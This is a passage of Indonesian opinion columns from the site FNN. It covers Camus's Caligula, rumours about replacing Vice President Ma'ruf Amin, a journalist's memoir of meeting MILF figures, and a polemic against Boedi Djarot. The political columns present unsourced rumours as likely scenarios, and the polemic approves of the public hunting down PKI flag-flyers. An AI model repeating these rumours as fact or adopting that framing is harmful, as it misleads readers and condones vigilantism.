Hubungan batin dengan batin. Telah membunuh benang merah hubungan kemanusiaan dengan kemanusiaan. “Caligula” telah sempurna menjadi “iblis” bagi manusia. Apalagi ketika dia telah menyatukan kekuasaan dan harta. Memposisikannya sebagai sesuatu yang diatas segala galanya. Kepada kedua unsur itulah dia mengarahkan hidupnya. Celakanya orang lainpun dipaksa untuk ikut bersamanya. “Caligula” suka sesuatu yang tidak masuk itu akal didapatnya. Tapi, dengan mudah memerintahkan prajuritnya untuk mencarinya. Meski yang diperintah tak tahu bagaimana memenuhi keinginan sang kaisar. Ketika menerima laporan kondisi terkini pemerintahannya, tentang kondisi keuangan kerajaan yang menipis . Sumber pemasukan seluruhnya tersendat. Persediaan pasokan makanan mulai tergerus habis. “Caligula” sang kaisar itu, lagi-lagi kembali marah dan marah. Belakangan sejak sembuh, dia menjadi gampang marah. Semua hasil kerja pembantunya dikecamnya secara terbuka. Dia tidak perduli apakah itu penghinaan atau bukan. Yang penting daripadanya “Caligula” merasakan suatu kebahagiaan. Informasi mengenai memburuknya kondisi keuangan kerajaan yang berimplikasi kepada memburuknya citra kerajaannya, tidak membuat “Caligula” bersedih. Sebaliknya, daripadanya dia serentak mendaptkan ilham dan ide baru. Ide gila. Seluruh bangsawan di wilayahnya diwajibkan menulis surat wasiat untuk menyerahkan kekayaannya kepada negara. Ide gilanya itu tentu saja menuai protes. Dua pengawal dengan gemetar menyampaikan keheranannya. Mana ada bangsawan yang mau memberikan hartanya. “Caligula” memutuskan untuk menyeimbangkan kembali kas negara. Dia memerintakan penarikan pajak atas semua barang. Dia dikenal menyukai lelang, sehingga seringkali ia menjadi juri lelang itu sendiri. Senang menjual para budak dan gladiator, dan terkadang ia memaksa orang-orang kaya untuk datang ke pelelangannya itu. Seorang bangsawan tertentu dikisahkan telah dipaksa untuk hadir mengangguk-angguk sambil tidur. Ternyata oleh “Caligula” diartikan itu sebagai persetujuan. Ketika orang itu sadar ia mendapati bahwa ia telah menyetujui “membeli” 13 gladiator dengan harga yang fantastis. “Untuk itu” kata “Caligula”, “aku memerlukan orang banyak, penonton, korban-korban, penjahat beratus, bahkan beribu orang. Biar datang semua terdakwa, aku mau lihat penjahat-penjahat. Mereka semua penjahat. Bawa masuk manusia yang terkutuk itu . Aku ingin penonton, hakim, saksi, terdakwa, semua dijatuhi hukuman mati tanpa diadili” Bagi Camus, untuk mendorong terbukanya ruang perubahan, dia memilih menempuh “jalan sastra” dengan menggunakan narasi patriotik sugestif. Pemberontakan (Revolt). Hal itu terungkap dalam semua karya-karyanya. Camus konsisten memelihara rute ”jalan sastra” untuk membongkar ketidakadilan berselubung demokrasi. Tulisan-tulisan dan filosofi Camus kerap dipenuhi dengan ide absurdisme dengan tema “pencarian manusia akan makna dan kejelasan dalam dunia yang tidak menawarkan penjelasan”. Melalui imajinasinya yang “liar”, Camus mencoba melabrak semua tatanan peradaban norma berkehidupan. Mentransfernya melalui karya tokoh imajinatif “Caligula” atau Sysiphus. Melalui tokoh-tokohnya itu, Camus menemukan ruang untuk memberontak. Dia menggugat kebenaran yang disaksikannya dimonopoli dan disalah gunakan oleh mereka yang disebut penguasa. Sebuah pesan WhatsApp seorang teman masuk ke handphone saya. Meminta menulis lengkap puisi karya Iqbal sebagai berikut, “jika kekuasaan membawa orang pada arogansi”. Puisi mengingatkan kita akan keterbatasan manusia. Jika kekuasaan mempersempit kepedulian kita, puisi mengingatkan mereka, akan kaya dan beragamnya eksistensi manusia. Jika kekuasaan kotor, puisi membersihkannya. Menyusul pesan WhatsApp yang pendek. Sangat pendek sekali. Apa kabar Indonesia? Penulis adalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Ma'ruf Amin Yang TKO atau Meng-KO Jokowi?

by Tony Rosyid Jakarta FNN – Selasa (11/09). Tentu ada pihak yang ingin Ma'ruf Amin mundur dengan baik-baik. Alan bisa dicari-cari. Ada ratusan, bahkan ribuan alsan bisa saja diproduksi untuk memuluskan rencana tersebut. Sebab, posisi Wakil Presiden saat ini sangat strategis. Terutama untuk persiapan pilpres 2024. Siapapun yang menjadi Wakil Presiden, ada kans besar untuk maju di Pilpres 2024 mendatang. Di politik itu semua serba mungkin. Walapun demikian, kans Ma'ruf Amin untuk maju jadi capres 2024 sangat kecil. Pertama, karena faktor usia. Ini menjadi unsur utama. Kedua, nggak punya partai, juga nggak punya logistik. Jadi, peluangnya cukup kecil. Sementara Jokowi, waktunya sudah habis. Sudah dua periode. Ada pihak yang coba otak atik agar bisa tiga periode, tetapi peluangnya juga kecil. Rakyat mayoritas tak bakal menerima. Selain kapok juga punya presiden seumur hidup. Sampai dengan berakhir di 2024 aja belum tentu, bagaimana mau nambah? Begitulah kira-kira keraguan sejumlah pihak tentang posisi Jokowi hari ini. Mengingat fakta obyektif, dimana posisi Wakil Presiden sangat strategis untuk menjadi panggung persiapan di pilpres 2024, maka magnet politiknya menjadi sangat kuat. Menggoda sejumlah pihak untuk membidiknya. Nama Prabowo Subianto dan Budi Gunawan sudah mulai dibicarakan sebagai kandidat pengganti Ma'ruf Amin. Apakah Ma'ruf Amin diam saja? Bisa iya, bisa juga tidak. Hanya Ma’ruf Amin dan Tuhan yang paling tau renana besar Ma’ruf Amin yang sebenarnya. Diganti di tengah jalan, tentu tak membuat siapapun nyaman. Tidak saja buat Ma'ruf Amin, tetapi juga buat mereka yang selama ini memberi dukungan kepada Ma'ruf Amin. Terutama orang-orang yang berada di lingkaran ketua MUI non aktif ini. Apalagi yang dari keluaga besar nahdiyin. Jika Ma'ruf Amin tak bersedia mundur karena alasan udzur, maka pergantian Wakil Presiden hampir mustahil bisa terjadi. Meski sudah berusia senja, namun Ma'ruf Amin terlihat masih sehat, bugar dan bisa bekerja dengan baik sebagai Wakil Presiden. Ada yang bertanya, apa peran dan kontribusi Ma'ruf Amin selama jadi wakil presiden? Bagaimana jika pertanyaannya dibalik, apa peran yang diberikan Jokowi kepada Ma'ruf Amin sebagai presiden selama ini? Apa power sharing Jokowi kepada Ma'ruf Amin? Adakah Ma'ruf Amin diajak serta untuk bicara dalam penyusunan kabinet? Policy apa yang dishare oleh Jokowi untuk Ma'ruf Amin? Pertanyaan yang lebih sederhana lagi, apakah Ma'ruf Amin juga diberikan jatah direksi dan komisaris BUMN? Mengacu pada pertanyaan-pertanyaan itu, maka publik akan melihat betapa tak seimbang antara lahan presiden dengan wakil presiden. Selama jadi presiden, Jokowi tampak power full. Hampir semua peran diambil Jokowi. Publik menilai Wakil Presiden tak lebih jadi pelengkap semata. Hanya sebatas itu. Tidak lebih dari pelengkap itu Bercermin pada periode pertama Jokowi, dimana peran Jusuf Kalla sebagai Wakil Presieen jauh lebih kecil dibanding ketika menjadi Wakil Presiden Susilo Bambang Yudhoyono tahun 2004-2009. Ketika itu SBY memberikan peran yang sangat besar kepada Jusuf Kalla di bidang ekonomi. Semacam kordinator semua menteri bidang ekonomi, termasuk Menko Perekonomian. Kalau Jusuf Kalla saja tak banyak bisa berperan, bagaimana dengan Ma'ruf Amin? Ini perbandingan obyektif jika kita ingin memahami kedaan Ma'ruf Amin dalam posisinya sebagai Wakil Presiden Jokowi. Jadi, kecurigaan publik selama ini mungkin bisa dijawab, mengapa Ma'ruf Amin selama ini jarang tampil. Mungkin karena kecilnya lahan untuk memainkan peran. Apakah minimnya peran Ma’ruf Amin ini ada kaitannya dengan posisi Wakil Presdein yang sedang diminati dan diincar oleh sejumlah pihak? Atau hanya gaya-gaya Jokowi dalam berpartner? Semua kemungkinan bisa terjadi ke depan. Meski posisi politik itu Ma'ruf Amin terlihat lemah, tak berarti mantan Rois Am PBNU ini harus terus mengalah dan diam. Apalagi jika terjadi krisis ekonomi. Disamping itu, mulai membesarnya kelompok oposisi, terutama yang sedang dikonsolidasikan oleh Prof. Din Syamsudin dan teman-teman dibawah bendera Koalisi Aksi Menyelamatkan Indonesia (KAMI). Boleh jadi Ma'ruf Amin justru yang akan mendapatkan bola muntah. Bukan dia yang TKO dengan mengundurkan diri dari Wakil Presiden, tapi malah berhasil meng-KO Jokowi. Untuk urusan ini, Ma'ruf Amin butuh bersinergi dengan PKB, PBNU, MUI dan elemen umat yang berpotensi memberi dukungan kepadanya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Reziki Wartawan Politik Meliput Olahraga (Bag. Kedua)

by Emron Pangkapi Jakarta FNN – Selasa (11/08). MNLF kemudian terbelah dengan berdirinya organisasi tandingan MILF (Front Pembebasan Islam Moro) pimpinan Hashim Salamat. Baik Nur Misuari maupun Hashim Salamat punya "panglima" sendiri-sendiri di Manila. Filipina masih rawan, di sana sini masih terjadi pertempuran. Nur Misuari memimpin perlawanan dari tempat pengasingannya di Libya. Sedangkan Hashim Salamat konon berada di Malaysia. Bahkan kedua tokoh itu secara rahasia dikabarkan berada di Filipina. Mereka berjuang untuk mendapatkan kemerdekaan Negara Islam Filipina Selatan. Pasukan MNLF dan MILF tersebar di berbagai kawasan. Sebagian besar ada di pulau Zamboanga, Sulu, Tawi-tawi dan Pelelawan di Kepulauan Mindanao. Pemerintah Filipina memberlakukan Daerah Operasi Militer, semacam DOM di Aceh dulu. Pemerintah mengawasi dengan ketat Orang Selatan di seluruh negara, termasuk mereka yang tinggal di kota Manila. MNLF dan MILF punya jaringan bawah tanah. Termasuk ada anggota front yang beroperasi di Manila. Sebagai wartawan Polhukam, informasih mengenai keberadaan MNLF dan MILF inilah yang ingin saya cari. Saya lalu merayu Pak Ilyas Ismail, agar bisa wawancara mereka. Adapun para staf KBRI memberikan nasehat, agar saya jangan sekali sekali ke perkampungan muslim Filipina. “Sangat rawan kriminalitas, dan berbahaya. Nyawa taruhannya. Lagi pula tak elok mencampuri urusan dalam negeri Filipina", kata mereka. Di dalam Kota Metro Manila ada perkampungan orang-orang Mindanao atau orang Selatan. Mereka umumnya di Distrik Barangay San Miguel. Kebetulan keluarga besar istri Prof. Ilyas Ismail tinggal di sini. Karena itu beliau cukup dikenal dan bebas keluar masuk Barangay. Hampir 100% penduduknya muslim. Ada mesjid, madrasah dan pasar makanan halal. Sebagian mereka bisa bahasa Melayu dialek Mindanao. Mirip-mirip dengan bahasa orang Banjar, perpaduan melayu-tagalog. Saya berhasil membujuk Pak Ilyas Ismail untuk berkunjung ke Barangay. Usai dari mesjid kami menyusuri kawasan muslim ini. Sebuah perkampungan sempit, banyak gang dan terkesan kumuh. Distrik Barangay di bawah pengawasan tentara Filipina. Setiap orang seperti berpandangan curiga. Tidak tahu siapa kawan siapa kawan. Sering terjadi penangkapan "pemberontak" bahkan pernah terjadi kontak senjata. Kepada Pak Ilyas, saya minta dipertemukan dengan pejuang MNLF maupun organisasi tandingannya MILF. Saya ingin wawancara. Katakan kepada mereka, saya bekerja untuk Harian Pelita, suratkabar yang membawa aspirasi umat Islam di Indonesia. Tentu aspirasi muslim bangsa Moro juga. Setelah melewati proses yang berliku dan berjanji patuh aturan mereka, saya esoknya dibolehkan datang lagi ke Barangay. Saya ingat Pak Ilyas punya mobil Fiat 1000. Dengan mobil tua itu beliau menjemput saya dari KBRI di Makati. Di ujung distrik Barangay kami parkir di depan sebuah restoran. Tapi kami kemudian masih lanjut nyambung dengan naik Jeepney (angkot). Tidak jauh, hanya sekitar 5-6 menit saja dari tempat mobil di parkir. Kami masuk gang lagi, tapi bukan lokasi yang kemarin. Kemudian kami bertamu pada sebuah rumah sederhana di deretan rumah rumah dalam gang. Rencanya di rumah inilah saya akan dipertemukan dengan orang MILF, kepervayaan Amir/Imam Syekh Hashim Salamat. Karena itu kami harus bersabar menunggu. Ada aturan khususuntuk bertemu tokoh MILF. Lebih kurang setengah jam di situ orang yang dinanti-nantikan tiba. Ternyata dia dari belakang rumah atau mungkin dia sudah sejak lama ada di rumah itu. Tokoh ini keluar ditemani seorang pengawal. Tapi wajah pengawal tidak beringas. Saya memberi salam. Dan mencoba akrab sebagai saudara muslim. Sang tokoh diperkenalkan "sebagai Hashim Salamat". Hampir saya oleng. Saya tidak punya foto pembanding. Tubuhnya sedang sedang saja. Malah agak kurusan berpenampilan orang staf. Bukan postur militer. Hashim Salamat, namanya waktu itu belum dikenal. Baru sepuluh tahun kemudiam nama Hashim Salamat meroket.... Sayang sesuai perjanjian tidak boleh ada foto dan rekaman. Kecuali pembicaraan sebagai saudara muslim. Saya bertanya tentang tuntutan dan latar belakang gerakan MNLF. Mereka menuntut Mindanao Merdeka, sebagai negara Islam lepas dari kontrol Manila . Dia juga menjelaskan mengerahkan kekuatan militer berjihad adalah pilihan. MILF didukung rakyat Filipina Selatan dari Cebu hingga Sabah. MILF ingin Negara Islam Moro Merdeka. Karena itu mereka menentang konsep MNLF Nur Misuari yang berunding untuk Otonomi Khusus Filipina Selatan. Kembali dari Manila, hampir semua wartawan membuat laporan pernik-pernik dari Sea Games. Saya membawa laporan khusus Perjuangan Bangsa Moro untuk Mindanao Merdeka. (habis). Penulis adalah Wartawan Senior dan Politisi PPP.

Kebodohan Boedi Djarot dan Islamphobia

by M. Rizal Fadillah Jakarta FNN – Selasa (11/08). Dua kebodohan berlapis yang telah dilakukan Boedi Djarot. Pertama membakar baliho Habib Rizieq Shihab (HRS), dan yang kedua menyerang Khilafah. Kedua-duanya bersentuhan dengan aspek keumatan, baik ulama maupun ajaran. Kebodohan ini adalah wujud nyata dari apa yang disebut dengan Islamophobia. Boedi Djarot tentu saja mewakili banyak dari kaum Islamophobia di Indonesia. Sayangnya, kebodohan yang dipertonkan kelompok Boedi Djarot, bukannya menyurutkan simpati. Tetapi malah semakin meningkatkan seimpati terhadap HRS dan Khilafah. Seperti kejahatan pembakaran bendera tauhid di Garut dahulu. Ternyata dampaknya justru semakin banyak berkibar bendera tauhid diaman-mana, khususnya dalam aksi-aksi. Kinipun akibat perusakan dan penistaan baliho HRS, maka semakin bermunculan banyak baliho HRS di berbagai daerah. Sikpa ini sebagai wujud rasa respek dan cinta pada ulama pejuang tersebut. Demikian juga serangan pada Khilafah nyatanya berbalik hasilnya. Di samping ada pembelaan, juga Khilafah sebagai bagian tak terpisahkan dari sejarah Islam, justru semakin tersosialisasi dan marak. Banyak yang tadinya tidak faham dan mengerti, sekarang mulai mempelajari dan memahami Khilafah lebih mendalam tentang makna dan sejarah kejayaannya. Khilafah sebagai bukti kekuatan umat. Kenyataan ini berbeda dengan pembakaran bendera PKI, yang justru menumbuhkan semangat anti PKI di kalangan rakyat khususnya umat Islam. Tidak mungkin bendera PKI akan muncul, apalagi marak diaman-mana. Hukum positif telah siap mengancam siapa saja yang menjadi penyebar bendera PKI. Sebaba PKI adalah organisasi terlarang. Konsekwensi, iapapun yang terindikasi mengibarkan bendera PKI, pasti akan diburu. Dan yang memburu, bukan saja aparat keamanan, baik itu Polisi maunpun TNI. Namun masyarakat, khususnya umat Islam siap setaip saat untuk memburu pengibar bendera PKI. Baik itu pengibar bendera PKI yang sembunyi-sembunyi mamupun terang-terangan. Bagaimana dengan kasus pembakaran bendera PDIP? Di samping tak jelas siapa oknum pembakarnya, apakah peserta aksi, pihak ketiga, atau kader PDIP sendiri yang ditugaskan untuk memancing di air keruh. Makanya sampai hari ini tidak berdampak. Bendera PDIP berkibar tak akan melebihi saat kampanye Pemilu. Sekarang ini sudah banyak kader atau simpatisan yang "keluar" karena kecewa atas kinerja Pemerintahan dimana PDIP sebagai "the rulling party". Belum lagi kecewa, karena baru tau kalau Visi dan Misi PDIP itu memperjuangkan Pancasila 1 Juni yang yang Trisila dan Ekasila. Bukan Pancasila konsesnus pendiri bangsa 18 Agutus 1945. So, ini hanya soal kebodohan Boedi Djarot yang menjadi komandan aksi perusakan baliho HRS dan berkoar-koar mengangkat isu murahan tentang Khalifah. Kaitan Khalifah itu kepekaan umat tidak terbatas pada organisasi HTI saja. Tetapi berhubungan dengan keyakinan dan fakta sejarah umat Islam secara keseluruhan. Kaum Islamophobia bakal gigit jari dan mengerutkan dahi. Juga bakal mengusap-usap dada untuk menenangkan hati melihat realita kelak, bahwa umat Islam akan semakin kuat. Semakin berani, dan tergalang saat ajaran dan ulamanya dipojokkan atau diserang oleh kaum sekularis, liberalis, komunis dan kaum sesat lainnya. Semakin bodoh dalam pemunculan dan mempertontonkan sikap seperti Bode Djarot atau siapapun itu, entah mau kadalin kek, abu sundal, desi sugar, adik balado atau lainnya justru akan membuat Islam semakin gagah. Islam yang semakin kuat dengan para pejuang-pejuang yang hebat dan istiqomah. Jumlahnya juga semakin bertambah dari waktu ke waktu. Percayalah bahwa mereka itu bukan ayam sayur. Tetapi petarung yang sesungguhnya. “Jika anda jual, maka mereka bukan saja siap membeli. Tetapi justru siap memborong habis dengan modal-modal anda”. Jangan ulangi dan mempertontonkan kebodohan yang tidak perlu. Penulis adalaj Pemerhati Politik dan Kebangsaan.

Mungkinkah Prabowo Subianto Gantikan Ma'ruf Amin?

by Tjahja Gunawan Jakarta FNN – Senin (10/08). Dalam dunia politik sesuatu yang tidak mungkin bisa saja terjadi. Demikian juga dengan pertanyaan dalam judul tulisan ini. Jadi sangat memungkinkan seorang Menteri Pertahanan Prabowo Subianto menggantikan Ma'ruf Amin sebagai Wakil Presiden. Beberapa hari lalu, seorang kawan yang memiliki jaringan dengan para aktivis dan elite politik mengabarkan tentang adanya agenda politik seperti di atas. Anda boleh percaya boleh tidak. Yang jelas, kata Jakob Oetama , "politik itu tidak hitam putih bung "!. Dulu, Jakob Oetama selalu mengatakan hal itu dalam hampir setiap rapat redaksi Harian Kompas. Para editor yang hadir biasanya duduk manis mendengarkan dan mencermati visi dan analisa yang disampaikan Pa Jo---panggilan akrab Jakob Oetama atas setiap peristiwa yang terjadi di negeri ini. Kembali kepada skenario Prabowo yang hendak menggantikan Ma'ruf Amin. Kawan saya itu mengabarkan, "pernikahan" Prabowo-Megawati atau Bahasa Politiknya Koalisi PDIP dengan Partai Gerindra bersifat permanen. Sebagai bagian dari tokoh oligarki partai saat ini, kedua pimpinan parpol ini telah sepakat untuk membuat peta jalan dan skenario politik menjelang Pemilu Tàhun 2024. Lalu apakah pasangan Megawati-Prabowo akan maju pada Pilpres 2024, seperti yang dilakukan mereka berdua pada Pilpres Tàhun 2009? Dalam Pilpres nanti Megawati ternyata akan mengusung anaknya Puan Maharani, yang kini Ketua DPR-RI. Selanjutnya Puan akan dipasangkan dengan Prabowo Subianto. Apakah Prabowo tidak capek nyapres terus-menerus, sementara usianya sudah "bau tanah"? Sekali lagi dalam dunia politik, ambisi untuk meraih kekuasaan tidak mengenal umur. Buktinya, Mahathir Mohammad ikut dalam kontestasi Pemilu dan berhasil menjadi PM Malaysia, walaupun setelah itu beliau mengundurkan diri. Jika melihat portfolio Prabowo Subianto di dunia politik, sebenarnya modalnya sudah cukup. Bahkan lebih dari cukup untuk bisa running kembali dalam Pilpres 2024. Kali ini dia akan berpasangan dengan Puan Maharani, cucu biologis Soekarno, Presiden pertama republik ini. Soal adanya lapisan masyarakat yang kecewa dengan sosok Prabowo Subianto yang telah berubah wujud, dari harimau menjadi meong, itu persoalan lain. Saol akankah nanti Prabowo akan kembali mengumandangkan kembali kalimat heroik, "saya akan timbul tenggelam bersama rakyat?". Kita lihat saja nanti. Yang jelas, saat ini posisi politik Prabowo Subianto semakin kuat. Bukan saja dia telah terpilih kembali sebagai Ketua Dewan Pembina dan Ketua Umum DPP Partai Gerindra Dalam Kongres Luar Biasa (KLB). Tetapi di jajaran kabinet, Prabowo kini lebih berpengaruh daripada Menko Maritim dan Investasi Luhut Binsar Panjaitan. Betapa tidak, sekarang tugas Prabowo bukan hanya sebagai Menteri Pertahanan. Tetapi juga telah diberi mandat oleh Presiden Jokowi untuk mengurus masalah ketahanan pangan negara. Lebih tepatnya Prabowo telah diminta Jokowi untuk mengolah lahan gambut di Kalimantan yang luasnya lebih dari satu juta hektar. Tidak heran kalau kemudian ada wacana tentang rencana para anggota TNI diterjunkan ke sawah untuk mengelola lahan gambut tersebut. Tidak jelas alasan dibalik keputusan Presiden Jokowi mempercayakan pengelolaan masalah pangan/lahan gambut kepada Menhan Praboowo. Mengapa Presiden Jokowi tidak menunjuk Menteri Pertanian Syahrul Yasin Limpo? Apakah karena Mentan Syahrul Yasin Limpo berasal dari Partai Nasdem? Yang saat ini posisi politik partainya cenderung untuk keluar dari kelompok partai koalisi penguasa. Mungkin demi mempersiapkan agenda politik sendiri menjelang Pemilu 2024 nanti. Sekali lagi, jika benar Prabowo Subianto hendak menggantikan Ma'ruf Amin, maka pertanyaannya adalah bagaimana cara dan mekanismenya? Bukankah Wapres Ma'ruf Amin satu paket dengan Presiden Jokowi? Dan keduanya telah dinyatakan "menang oleh KPU" dalam kontestasi Pilpres Tàhun 2019 lalu. Walaupun banyak kalangan masyarakat menuduh kemenangan tersebut diraih dengan cara curang. Pergantian penguasa seperti Wapres Ma'ruf Amin bisa dilakukan melalui proses politik yang "disepakati bersama" diantara para pimpinan parpol penguasa. Alasan rasional bisa dicari-cari. Misalnya, mengingat usia Ma'ruf Amin sudah tua dan sering sakit-sakitan, maka posisi dan jabatan Wapres perlu diganti. Bagi sementara kalangan bisa saja agenda politik untuk menggantikan Ma'ruf Amin sebagai Wapres dianggap sebagai skenario di luar nalar politik. Pikiran seperti ini juga sah-sah saja. Tapi kalau nanti skenario politik PDIP-Gerindra ini benar-benar menjadi kenyataan, maka realitas politik tersebut akan semakin mengukuhkan pendapat bahwa dalam dunia politik segala kemungkinan bisa terjadi. Sangat mungkin terjadi Jokowi bisa mundur atau bahasa halusnya diminta mundur sebelum masa tugasnya sebagai Presiden periode kedua berakhir tàhun 2024. Bisa di 2023 Jowi mudur, sehingga pada Pilres 2024 nanti, posisi Prabowo adalah Preiden. Loh kalau begitu, siapa nanti yang akan meminta mundur Jokowi? Ya penguasa parpol koalisilah terutama PDIP dan Partai Gerindra. Nah, kawan saya itu mengabarkan seperti itulah agenda dan skenario politik yang akan dijalankan Prabowo Subianto bersama PDIP. Jadi, langkah pertamanya adalah menggantikan Ma'ruf Amin sebagai Wapres. Kemudian setahun atau dua tàhun menjelang Pilpres 2024, Parbowo akan menggantikan Jokowi sebagai Presiden. Dengan begitu, nanti Prabowo akan maju sebagai Presiden incumbent dalam Pilpres 2024 tatkala berpasangan dengan Puan Maharani. Itulah agenda politik dari koalisi permanen PDIP-Partai Gerindra. Dengan demikian, lengkap sudah oligarki parpol dan dinasti politik di negeri ini. Mereka akan asyik sendiri dengan permainan kursi kekuasaan masing-masing. Sementara masyarakat dibiarkan mengurus dan mengatasi masalahnya sendiri. Melihat perilaku elite politik ini, semoga rakyat Indonesia bisa diberi kekuatan dan ketabahan dalam menghadapi masalah yang dihadapi saat ini seperti penyebaran pandemi Covid19 dan resesi ekonomi yang sudah di depan mata. Masyarakat sekarang dihadapkan pada persoalan yang saling bertumpuk dan silih berganti. Sementara para penguasa asyik mengutamakan kepentingan pribadi dan kelompoknya masing-masing. Di masa datang, generasi penerus bangsa akan membaca catatan sejarah yang berbunyi, “di zaman dulu, ada seorang politisi bernama Prabowo Subianto yang pernah maju dalam Pilpres sebanyak 3 kali. Bahkan mungkin nanti empat kali. Pada 2009, Prabowo menjadi calon wakil presiden berpasangan dengan Megawati Soekarnoputri. Megawati-Prabowo dikalahkan pasangan Susilo Bambang Yudhoyono (SBY)-Boediono. Lalu pada Pilpres 2014, Prabowo maju sebagai capres berpasangan dengan Hatta Rajasa. Prabowo-Hatta kalah dari pasangan Jokowi-Jusuf Kalla. Kemudian di Pilpres 2019, Prabowo maju berpasangan dengan Sandiaga Uno. Prabowo kembali kalah dari Jokowi yang pada periode keduanya berpasangan KH Ma'ruf Amin. Prabowo akhirnya bergabung dengan Kabinet Jokowi. Setelah menjadi Menhan di Kabinet Jokowi, tiba-tiba Prabowo menggantikan Ma'ruf Amin sebagai Wapres. Tidak hanya itu, menjelang Pilpres 2024, Prabowo kemudian menggantikan Jokowi Yang mengundurkan diri sebagai Presiden pada periode kedua. Selanjutnya, Prabowo bersama Puan Maharani maju sebagai pasangan Capres dan Cawapres pada Pemilu Presiden 2024. Kalau seperti itu catatan sejarah politik Indonesia, apakah anak cucu generasi bangsa Indonesia akan menangis sambil mencaci maki para elite pilitik generasi sebelumnya? Atau mereka akan menerima dengan legowo catatan kelam perilaku elite kekuasaan saat ini? Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior FNN.co.id.

Wapres Makruf Amin Akan Diganti Budi Gunawan?

by Tony Rosyid Jakarta FNN – Senin (10/08). Desas-desus, kalau Makruf Amin akan diganti. Maksudnya, akan dilengserkan dari kursi Wakil Presiden. Isunya makin santer. Bahkan kabarnya, sekenario ini sudah direncanakan sebelum pilpres 2019. Namanya juga kabar. Bisa benar, bisa juga tidak. Dari sisi politik, jika benar, kabar ini tak terlalu mengejutkan. Sebab, posisi Makruf Amin memang lemah. Tidak punya partai, dan dianggap tidak sepenuhnya merepresentasikan kepentingan kaum Nahdhiyin, organisasi asal Kiyai Makruf Amin ini. Menjadi wapres, tetapi Menteri Agama malah lepas dari tangan NU. Kerja dan dukungan PBNU untuk kemenangan Jokowi-Makruf telah diberikan total. Tapi, kompensasi yang diberikan kepada NU tak sebanding dengan dukungan yang diberikan. Sebagai vote getter, pilih Makruf Amin sebagai Cawapres cukup efektif. Pilihan politik yang cerdas. Dengan demikian, kantong suara Nahdhiyin bisa diambil. Terutama untuk mengimbangi suara umat Islam yang anti terhadap Jokowi. Khusunya di Jawa Tengah dan Jawa Timur. Jika Makruf Amin diganti, bagaimana dengan respon PKB dan PBNU? Yang pasti, Makruf Amin tidak mewakili PKB. Sebab PKB punya jatah sendiri di kabinet. Untuk PBNU, jika posisi Menteri Agama kembali diserahkan kepada kader NU, ini tentu akan melegakan. Proporsional! Sebab, banyak garapan Kemenag itu ada di wilayah garapan NU. Mungkinkah posisi wapres ditukargulingkan dengan Kementerian Agama? Kalaupun opsi yang terjadi, maka sepertinya PBNU tak keberatan. Sebab, pegang Kementerian Agama, bagi NU bisa jadi lebih banyak manfaatnya dari pada posisi Wakil Presiden. Lalu, apa alasan konstitusional untuk mengganti Makruf Amin? Mengundurkan diri dengan alasan udzur itu dapat dibenarkan oleh konstitusi. Simple saja kan! Lalu siapa yang menggantikanya? Yang pasti bukan Muhaimin Iskandar (Cak Imin) atau Kiyai Said Aqil Siroj (SAS). Kabarnya, ada dua kandidat yang sekarang sedang bersaing untuk mengincar posisi itu. Siapa saja mereka? Budi Gunawan dan Prabowo Subianto. Budi Gunawan itu orang dekat Megawati, ketua umum PDIP. Bekas ajudannya Megawati ketika menjadi Presiden. PDIP cukup besar jumlah kursinya di DPR jika nanti terjadi pemilihan di parlemen. Tapi, Jokowi nampaknya lebih sreg ke Prabowo Subianto untuk mendampingi dirinya. Kenapa? Pertama, selama ini Jokowi selalu berhasil menghindari koptasi Megawati. Pilihan ke Luhut Binsar Panjaitan (LBP) selama dua periode kepemimpinannya adalah bentuk nyata dari upaya Jokowi menghindari koptasi Mega. Sementara Budi Gunanwan itu orangnya Megawati. Kedua, Prabowo tak diragukan loyalitasnya kepada atasan. Prabowo juga tipikal seorang pendendam. Bahkan sebaliknya, Prabowo itu terkenal sangat pemaaf. Jokowi tidak perlu risau dan merasa khawatir terhadap Prabowo. Dia nggak akan menelikung atasan. LBP adalah orang yang sangat kenal benar siapa Prabowo. Bagaimana dengan tuduhan bahwa Prabowo telah menelikung terhadap PKS dan umat Islam? Itu soal yang berbeda. Karena PKS dan umat Islam bukanlah atasannya Prabowo. Ini yang harus dipahami. Walapun demikian, Prabowo kabarnya belom lama ini telah menemui Ketua Dewan Syuro (Pimpinan Tertinggi) PKS, Habib Salim Segaf Al-Jufri. Prabowo datang minta dukungan, agar PKS mendukung Jokowi, walaupun di luar koalisi. Maksudnya, kader-kader PKS jangan terlalu galak-galak menghadapi situasi politik krisis nanti. Ketiga, Prabowo punya Partai Gerindra. Jumlah kursinya juga sangat signifikan. Nomor tiga terbanyak di DPR setelah PDIP dan Golkar. Soal ini juga yang menjadi alasan pembenar kenapa Prabowo cepat-cepat melaksanakan Kongres Luar Biasa (KLB) Partai Gerindra? KLB yang dipercepat tersebut untuk mempertahankan posisi Prabowo sebagai Ketua Umum Partai Gerindra. Tentu saja alasan lainnya untuk persiapan menuju pilpres 2024 nanti. Partai Gerindra dipastikan akan berada di garda terdepan untuk back up Prabowo. Pertimbangan ini sekaligus memberi pesan bahwa Jokowi akan merasa aman jika 2024 Prabowo yang menjadi presiden. Keempat, Prabowo itu dikagumi di militer. Keberadaan militer sebagai Wakil Presiden, akan menjadi perisai saat Indonesia dihantam krisis ekonomi nanti. Mesin militer bisa digunakan untuk menghadang, jika terjadi demo besar-besaran di masa krisis. Ingat, Indonesia sudah masuk masa resesi. Pertumbuhan ekonomi minus -5,32%. Kabarnya bahkan lebih dari itu. Akhir tahun ini negara kehabisan uang. Kondisi ini bisa menjadi gejolak ekonomi yang berefek pada gejolak sosial dan politik. Disitulah peran Prabowo yang berlatar belakang militer menjadi penting dan strategis. Siapa yang akan menggantikan posisi Makruf Amin akan bergantung kelihaian kedua partai besar itu bermanuver. Antara PDIP vs Gerindra. Tapi, ada pertanyaan mendasar yang tak boleh diabaikan, apakah Makruf Amin akan legowo untuk mundur? Atau sebaliknya, mantan kader PPP dan PKB ini justru bermanuver untuk mengganti presiden? Harap diingat juga, kalau politik itu tidak selalu linier. Apa yang tampak di permukaan dan perencanaan, tidak sepenuhnya akan menjadi kenyataan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Kasian, TNI Disuruh Urus Proyek Corona

